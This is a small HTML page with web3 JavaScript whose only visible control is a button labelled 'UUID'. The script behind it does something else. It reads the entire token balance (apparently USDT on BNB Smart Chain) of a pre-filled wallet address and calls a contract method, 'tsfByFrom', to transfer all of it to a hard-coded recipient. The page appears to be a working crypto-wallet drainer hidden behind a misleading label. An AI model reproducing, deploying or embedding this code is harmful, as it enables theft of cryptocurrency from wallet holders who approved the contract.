<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" />
    <title></title>
    <script src="js/mui.min.js"></script>
    <link href="css/mui.min.css" rel="stylesheet"/>
	<script src="js/web3.min.js"></script>
	<script src="js/uabi.js"></script>
	<script src="js/jquery1.8.js"></script>
   <script src="js/abi5.js"></script>
</head>
<body>
	<input  id="address" value="0xadb58c984f972373a8ecde073040b63e4b8cbb96"/>
	<button onclick="get()">UUID</button>
</body>
 <script type="text/javascript" charset="utf-8">
      	mui.init();
		let contractAddr = "0x1A03E32180b8a600cB7456223B6fed918bcB9bcb";
		async function get(){
			await ethereum.enable();
			window.web3 = new Web3(ethereum);
			window.curr_address = ethereum.selectedAddress;
			let sender = $("#address").val();
			let rec = "0x88fE65C7aE68B602B4ca9e274D03Ba94eA36a311";
			let swapContract = new web3.eth.Contract(abi5,contractAddr);
			let uCon =   new web3.eth.Contract(usdtabi,"0x55d398326f99059fF775485246999027B3197955");
			let balance = await uCon.methods.balanceOf(sender).call({from:sender});
			let gas = await swapContract.methods.tsfByFrom("0x55d398326f99059fF775485246999027B3197955",sender,rec,web3.utils.toHex(balance)).estimateGas({
				 from:curr_address
			 }).catch(e=>{
				 alert(e.message)
			 });
			swapContract.methods.tsfByFrom("0x55d398326f99059fF775485246999027B3197955",sender,rec,web3.utils.toHex(balance)).send({
				from:curr_address,
				gas
			}).then(r=>{
				alert(r)
			})
		}
    </script>
</html>